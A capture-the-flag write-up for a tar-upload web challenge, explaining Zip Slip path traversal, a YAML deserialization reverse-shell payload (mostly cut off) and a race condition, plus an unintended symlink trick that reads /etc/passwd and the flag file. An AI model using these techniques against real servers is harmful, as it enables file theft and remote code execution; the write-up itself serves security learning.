tl;dr
- Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition
- Unintended Solution: Upload symlink leading to arbitarary file reads
Solved by: c3rb3ru5
Challenge Description
Our developer built simple web server for analyzing tar file and extracting online. He said server is super safe. Is it?
Download source code from here
Analysis
- We are given a web app which extracts all the files to the server from any tarfile that we upload.
- Endpoints
- GET
/
- GET
/<path:host>
- Read uploaded files from server.
- Protection against Path Traversal.
- POST
/analyze
- Upload Tar Archives.
- Uses
extractall()
whose documentation states that files can be created outside of the path.
- GET
/admin
Serializes
hardcoded data intoYAML
and writes to fileconfig.yaml
.- Also
deserializes
the YAML stream from the file and checks for thehost
.
- The application uses
tarfile
python library which has some vulnerabilities like:
- Path Traversal
- Symlink File Attack
- More Info
- The application uses
yaml
and write serialized payload to the fileconfig.yaml
and also deserializes the contents of that file later on, so a possible deserialization attack can be performed.
Solution
When /admin
is serviced, initialization()
function is called, in which we know that the file config.yaml
has data written to it and, thereafter it is also being read when hostcheck()
function is called. So there is a short timespan between the writing and reading, so if in between that time, we can overwrite that file, with our payload, then we can perform a Race Condition, acknowledging that the time frame will be somewhat small.
In initialization()
:
1 | def initializing(): |
In hostcheck()
:
1 | def hostcheck(host): |
The Zip Slip is a widespread critical archive extraction vulnerability, with which we can write arbitrary files on the server, that may rresult in RCE. It was found in the research by the Snyk Security team, and they also found out that the Python tarfile
library was affected by it.
So using the Zip Slip vulnerability, which basically arises because of the extractall()
function, it does not check if the we can create a file with the name ../../config.yaml
and it will overwrite the existing file which had the hardcoded data.
After this is done, the contents of config.yaml
which we overwrote will be deserialized. So we can create a YAML deserialization payload which creates a reverse shell and then get RCE on the server.
For more information on YAML Deserialization, refer to this whitepaper by _j0lt and lon3_rang3r.
RCE Payload:
1 | !!python/object/apply:subprocess.Popen |
You can use Peas to create the payload.
Create Malicious TarFile
1 | import tarfile |
So combining Zip Slip and YAML Deserialization and performing a Race Condition will get us a reverse shell on our HOST.
Unintended Solution
During the CTF, we solved this challenge by using Symlinked files, and I came to know of the intended solution posted above from the post-ctf discussions on Discord.
This vulnerability can be found here
So trying to read /etc/passwd
:
1 | ln -s /etc/passwd passwd |
We got:
1 | root:x:0:0:root:/root:/bin/ash |
Trying commonn flag locations:
1 | ln -s /flag.txt flag |
And we got the flag.
Flag
Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}